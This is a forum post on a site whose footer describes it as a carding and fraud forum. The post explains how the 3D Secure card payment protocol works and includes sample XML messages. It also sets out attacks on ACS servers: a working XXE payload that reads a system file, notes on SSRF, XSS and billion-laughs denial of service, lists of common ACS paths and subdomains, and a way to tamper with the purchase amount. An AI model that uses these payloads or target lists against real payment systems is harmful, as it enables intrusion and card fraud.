If you have any questions, contact us:
Telegram:maintex
ICQ:1607000

  #1 Old 01-18-2021, 04:40 PM
London1826
 
London1826's Avatar
 
Join Date: Aug 2019
Posts: 72
Contact: London
London1826 is an unknown quantity at this point
Default 3D Secure. Online payment security mechanisms

One of the protocols used to increase the security of online payments is 3D Secure. This is a protocol that was developed based on XML as an additional layer of security for payments made without the physical participation of the card (card not present payment). VISA created the first version of this protocol, but soon it was used by other companies (Master Card, JCB International, amex, Mir), which later merged with VISA into the EMV commonwealth. EMV supports and develops the 3DS protocol.

Why is the 3D Secure protocol called this way?

The full name of this protocol is Three Domain Secure.

The first domain — the issuer's domain - is the bank that issued the card used.

The second domain — the acquirer's domain - is the bank and the seller to whom the money is paid.

The third domain - compatibility domain (interoperability domain) — the infrastructure used when paying by card (credit, debit, prepaid or other types of payment cards) to support the 3D Secure protocol. It includes the Internet, merchant plug-in, access control server, and other software vendors.

Why is this necessary?

3D Secure provides a new level of security by providing additional information.

Another important point is the "transfer of responsibility". This means that in the event of fraud, the entire responsibility falls on the issuing bank. This point is very important for the seller (merchant), because before the advent of 3D Secure, the merchant had to deal with the settlement of disputes.

Also, do not forget about two important psychological aspects: increasing confidence in online payments and increasing conversions.

Conversion can be increased by updating the 3DS protocol to reduce user interaction.

Version of the 3D Secure Protocol

Code:
v1. 0-2001 - ...
v2. 0-2014-Deprecated
v2. 1-2017
v2. 2-2018
Currently, most payment services use version 1.0.2 when making online CNP payments that request an OTP code.

Version 1.0.2 was created in 2001 and it has some problems.

At the moment, the current version is v2. 2, and EMV plans that by the end of 2020 it will be used everywhere.

How does it work?



This is the basic diagram needed to understand the entire payment process using the 3DS mechanism.

In this figure, we see all three domains used in the protocol, as well as the sequence of messages between all participants in the payment transaction.

How does it work?

The main thing you need to understand is that when using your card (virtual or real) for online payment, you are faced with the 3DS protocol. So now we will illustrate all the stages of making an online payment.











[B]1 — /B] - The buyer has already added all the necessary products to the cart and clicked the " Pay " button. At this point, he gets to the page of the MPI service, where he enters his card details.

After clicking the payment button, the merchant (MPI) initializes the start of the payment flow and, according to the protocol, sends a crreq request (Card Range Request). This request is necessary to find the issuing bank of your card and get the CRR from the interaction domain. This request is of little interest to us. After that, the MPI sends a VeReq (Verification Request). This request is sent to the issuing bank to verify that 3DS is enabled for this card and the card can be used for payment. veres (Verification Response) contains additional information for the next stage of payment. Clients cannot see these two types of messages.

2 — MPI creates a PAReq (Payment Request) — a request for payment. This request is sent via a redirect in the client's browser. The result of sending PAReq is the display of a request to enter the OTP code.

[B]3 — /B] - The customer enters the OTP code and returns to the seller's website. Again, in the process of this, a pares (Payment Response) is transmitted via a redirect from the issuing bank to MPI, which contains information about the verification status.


And in more detail?

crreq/crres are not very important to us. But vereq/veres should be considered.

Code:
<?xml version="1.0" encoding="UTF-8"?>
<ThreeDSecure>
<Message id="999">
<VEReq>
<version>1.0.2</version>
<pan>4444333322221111</pan>
<Merchant>
<acqBIN>411111</acqBIN>
<merID>99000001</merID>
<password>99000001</password>
</Merchant>
<Browser>
<deviceCategory>0</deviceCategory>
<accept>*/*</accept>
<userAgent>curl/7.27.0</userAgent>
</Browser>
</VEReq>
</Message>
</ThreeDSecure>
In vereq, the most important parameter is the message ID, merchant information, and PAN card.

Code:
<?xml version="1.0" encoding="UTF-8"?>
<ThreeDSecure>
<Message id="999">
<VERes>
<version>1.0.2</version>
<CH>
<enrolled>Y</enrolled>
<acctID>A0fTY+pKUTu/6hcZWZJiAA==</acctID>
</CH>
<url>https://dropit.3dsecure.net:9443/PIT/ACS</url>
<protocol>ThreeDSecure</protocol>
</VERes>
</Message>
</ThreeDSecure>
veres returns the message id that is needed to match the request to this response. A status enrolled indicates that the map is supported.

However, the most important parameter in this message is the URL. This parameter specifies where the acquirer's ACS server is located and where to send the PAReq.

Pareq

The browser of the client making the payment can make quite a lot of redirects to various components involved in making the payment. For example, in Russia there are a number of requests that are processed on the side of the National Payment Card System. But today we are only interested in the traditional stage described in the protocol specification. Namely, the PAReq transfer stage.

Code:
URL: https://site.ru/acs/pareq
MD=5ebde4d3-3796-7a4d-5ebd-e4d300003dd0&PaReq=eJxVUstywjAM%2FBUm98QPDDiMcIc2dMoh0AedKb2ljiDpNAFMUgJfXzuFPnzSrjQraWW4aoqPzieafb4pRx4LqNfBUm%2FSvFyPvOfFrS%2B9KwWLzCBGT6hrgwpi3O%2BTNXbydOS96VDocEX9FePaF1IIPwlF6qeoV7Inqeyh9hTcjx9xp%2BDcSNk%2BAQdygVbR6CwpKwWJ3l1PZ0rwQZ9SIGcIBZpppAaSuse7POwC%2BeagTApUy%2FEsmrwE8Xw2WQJpKdCbuqzMUfWFLb4AqM2HyqpqOyTkcDgExabEY3BMyhSbwNRAXB7I70D3tYv2Vq%2FJUzU7Teg8ejjE7xMWn9Z8Hk35fKEtNx4BcRWQJhUqTplklIoOC4c9NuwOgLQ8JIUbRDHK2vW%2BEWxdk%2FG%2F1F8KrO%2FGnuWyywUBNls7v62wZv7EQH5nvrlzlurKGsUGNOwy0ZfhXf5udlkmV7ey98rfmnjpjG6LnGJubeKUslbSASBOhpxvSM7nt9G%2Fb%2FEFnkK9RA%3D%3D&TermUrl=https%3A%2F%shop.ru%2Fgates%2F3ds
A payment request containing a PAReq (POST method) has three parameters:

1) MD-data of the seller. It is needed by MPI to map the PAReq and pares of a single transaction;

2) PAReq-parameter of this payment request. It contains all the important information about the payment;

3) termurl-the URL to which the client will be returned at the end of the 3D Secure authentication process.

The termurl and MD parameters are always reflected in the response to this request. Therefore, ACS implementations that are vulnerable to reflected XSS attacks may occur. During the audit of various systems, such servers were found.

Important point #1 : ACS servers process all incoming PAReq!

What is included in the PAReq parameter?

You can get its value by decoding PAReq. This is quite easy to do, because PAReq is Xml - > zlib - > base64 - > urlencode. To simplify working with these queries, plugin for burp .



Now we can see what PAReq really is, namely an xml message. This message contains information about the payment amount (purchamount, amount and currency), some information about the seller and messageId (from vereq).

If you send a properly formed PAReq (in most cases, you don't need a complete set of payment requests — you only need to send a PAReq containing the correct type and length parameters), we will receive a pares response to the payment similar to the following:



The first thought that may occur to a web researcher who sees an XML request is to try to execute XXE. And this is the right way!

But first, let's look at what happens if you send an incorrectly formed PAReq. We'll get an error! Here are some examples of such errors:

Code:
<ThreeDSecure><Message id="poEpShmja0A36YWe0JOyr4Zt"><Error><version>1.0.2</version><errorCode>99</errorCode><errorMessage>Permanent system failure.</errorMessage><errorDetail>Failed to build error message.</errorDetail></Error></Message></ThreeDSecure>
<errorCode>5</errorCode><errorMessage>Format of one or more elements is invalid according to the specification.</errorMessage>
<errorCode>98</errorCode><errorMessage>Transient system failure</errorMessage>
<errorCode>4</errorCode><errorMessage>Critical element not recognized</errorMessage>
The error can help you get more information about the ACS version. Some of them may also be useful for getting data from XXE.

Spin XXE

Consider the following example:

Code:
<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE ThreeDSecure [<!ENTITY ac SYSTEM "file:///proc/sys/kernel/hostname">]><ThreeDSecure><Message id=“123-123-123-123-123-123"><PAReq><version>1.0.2</version><Merchant><acqBIN>510069</acqBIN><merID>&ac;</merID><name>MerchantName</name><country>643</country><url>http://asdas.as</url></Merchant><Purchase><xid>U3Vic2NyaWJlX0B3ZWJyMGNr</xid><date>20181004 21:34:21</date><amount>202000</amount><purchAmount>202000</purchAmount><currency>643</currency><exponent>2</exponent><desc>AcquirerName</desc></Purchase><CH><acctID>DYasdVQAOX6as3dfcxccwzPCR6Q74eS5</acctID><expiry>2209</expiry></CH></PAReq></Message></ThreeDSecure>
acqbin, merid, xid, date, purchamount, and currency are reflected in pares. However, all the ACS implementations we found managed to use only merid. Other parameters are checked for compliance with data types.

Another interesting parameter (and most useful for an attack) is the URL. This parameter is not reflected, but it is not checked either. Therefore, it can be used to operate XXE.

Let's go back to our example. In one of the ACS implementations, we found that we can read short files and also get a response in pares error via the merid parameter. Thus, using the PAReq from the example above, we got the following answer:

Code:
<ThreeDSecure><Message id=" 123-123-123-123-123-123 "><PARes id=" 123-123-123-123-123-123 "><version>1.0.2</version><Merchant><acqBIN>510069</acqBIN>
<merID>ACS server name</merID>
</Merchant><Purchase><xid>U3Vic2NyaWJlX0B3ZWJyMGNr</xid><date>20181004 21:34:21</date><purchAmount>202000</purchAmount><currency>643</currency><exponent>2</exponent></Purchase><pan>000000000000000</pan><TX><time>20181004 21:34:21</time><status>U</status></TX><IReq><iReqCode>55</iReqCode><iReqDetail>PAReq.CH.acctID</iReqDetail></IReq></PARes></Message></ThreeDSecure>
However, in most cases, all that remained was to use the URL parameter to get a DNS or HTTP request to our service. Another vector is to execute DOS via the XXE "billion laughs" attack (tested on a test server).

Where can I find it?

In the course of our research, we found several common URLs:

Code:
/acs/pareq/___uid___
/acspage/cap?RID=14&VAA=B
/way4acs/pa?id=____id____
/PaReqVISA.jsp
/PaReqMC.jsp
/mdpayacs/pareq
/acs/auth/start.do
And common names of the subdomains:

Code:
acs
3ds
3ds
secure
cap
payments
ecm
3dsauth
testacs
card
However, sometimes you can find other interesting ways.

If you want to find something new, use proxy interceptor and record the payment process for the payment system you are interested in.

3D Secure v 2. *

As we wrote earlier, there are some problems in 3DS v1.0.

The main problem is that the buyer can use many different types of devices. Tablet, mobile phone, smart watch, smart kettle, etc. But the ACS site is not always designed to interact with all types of devices.



To do this, 3DS 2.0 provided the 3DS SDK.

Another problem is that the new type of protection requires additional interaction with the client. And this moment affects the conversion rate. The solution to the conversion problem was the possibility of using a risk management mechanism, which allows you not to force the user to enter additional secret data, if the bank has enough information to confirm the identity of the client.

The next important point is that authentication technologies are evolving. Accordingly, 3DS could use more than just OTP. Therefore, v2 was conceived with the possibility of expanding support for various authentication mechanisms.



Interesting fact about v1. 0. People in some countries didn't trust this protocol because they saw the redirect and thought it was a scam!

This psychological moment was the reason for changing the specification of the second version of the protocol to hide the moment of redirection.

How does 3D Secure v2 work?



The beginning of the payment flow is similar to the previous version. The customer must specify their card details.

The first and most important point is the Risk Engine. In version 1.0.2, clients must always enter a second factor, such as OTP. However, in version 2.*, the client may never see this additional protected request.

Features of v2



If you look at the payment flow diagram, you will see that it is similar to the previous one, but in the 2nd version there are more stages. This is due to the addition of additional authentication requests and the Risck Engine, which can make both one additional request (when paying via the browser) and many (using the 3DS SDK).

Conditionally, the 2nd version can be divided into two blocks. Red, where the user directly affects the transmitted information, and yellow, where the system itself collects and transmits information about the user.

And in more detail?



areq (base64url) will tell you everything about you and the device from which the purchase was made.

If you think about what information advertising agencies have about you, the areq data will not surprise you. But if you think this is a bad thing, consider the following: banks know everything about your purchases and about you. From this point of view, some additional information is not so bad)

This message is necessary for the risk management system to work and simplify purchases. If this information is not enough, the Risk Engine will first try to get additional information, and it is at this point that the client can receive an OTP request.

What does the user control?

creq (base64url json) — challenge request-a message sent by the user's browser, if ares returns a message about the need to conduct a Challenge Flow.

Code:
{
"ThreeDSServerTransID": "8a880dc0-d2d2-4067-bcb1-b08d1690b26e",
"AcsTransID": "d7c1ee99-9478-44a6-b1f2-391e29c6b340",
"MessageType": "CReq",
"MessageVersion": "2.1.0",
"SdkTransID": "b2385523-a66c-4907-ac3c-91848e8c0067",
"SdkCounterStoA": "001"
}
If the payment process uses the 3D Secure SDK, this message will be encrypted (JWE).

In creq, you can see the following fields:



Unfortunately, we have not yet managed to conduct a sufficiently detailed study of the 2nd version of the 3DS protocol, so it is difficult to say which vulnerabilities are more common. You may be the first to publish a study on this topic.

Let's sum up

Problems (found and possible)

What to look for in v1

XXE in the PareqOS parameter
reading
the ssrf file
XSS in the termurl parameters
Blind XSS — all parameters and headers are included in the monitoring system
Pareq is not signed, but it has a price! From here, an attack can follow already on the store, because if the store does not check the amount of the confirmed operation, then you can make a purchase of things worth 100r for 1r.
What to watch in v2

Blind XSS — all parameters and headers are included in the monitoring system
Challenge flow, the main thing is to catch it…
For those who are thinking of turning their attention to payment systems, I would advise you to also stop at services that provide 3DS as SaaS. There may be quite a few more things that will help you understand how the world of online payments works.

Useful links


https://github.com/w3c/webpayments/wiki

https://www.EMV.com/emv-technologies/3d-secure/

https://3dsserver.netcetera.com/3dss...a/3ds-api.html

https://github.com/webr0ck/3D-Secure-audit-cheatsheet

P.S. You may have come up with a question: "I used AliExpress, Amazon, other, and I did not receive an OTP code. Was 3DS used here?" No, it wasn't used. These are just examples of cases where the store takes responsibility for fraudulent transactions.
London1826 is offline   Reply With Quote
Reply

Tags
mechanisms, online, payment, secure, security

Thread Tools Search this Thread
Search this Thread:

Advanced Search

Posting Rules
You may not post new threads
You may not post replies
You may not post attachments
You may not edit your posts

BB code is On
Smilies are On
[IMG] code is On
HTML code is Off

Forum Jump

Similar Threads
Thread Thread Starter Forum Replies Last Post
A must read for your security Newer Tutorials 8 04-25-2021 10:40 PM
Google Play Store mechanisms bypassed by Joker software FullzLord Hosting » Security » Anonymity 0 07-23-2020 02:12 PM
Real carding: how to make online payments secure Cartographer Real Carding 1 11-20-2019 03:11 PM
Encryption – Your “Key” To Security Newer Tutorials 1 10-25-2015 12:59 PM
Paypal security edward Payments » Banks » Poker 0 02-24-2014 07:50 PM


Cybercrime forum, cybercrime site, ,fraud forum, russian fraud forum, Credit cards, carder, infraud, carders.ws, crdpro, fraudsters, darkpro, crdcrew, dumps, cvv, cc, stuff carding, legit seller, vendor, free cvv, dumps+pin, skimmer, ,shimmer, emv software, emv chip writer, free cc+cvv, valid cards, track 2, free cvv, dump pin, dumps, cvv, cc, credit cards, real carding, legit vendor, carder forum, carding tutorial, russian hackers, online cvv shop, track 101, enroll, fullz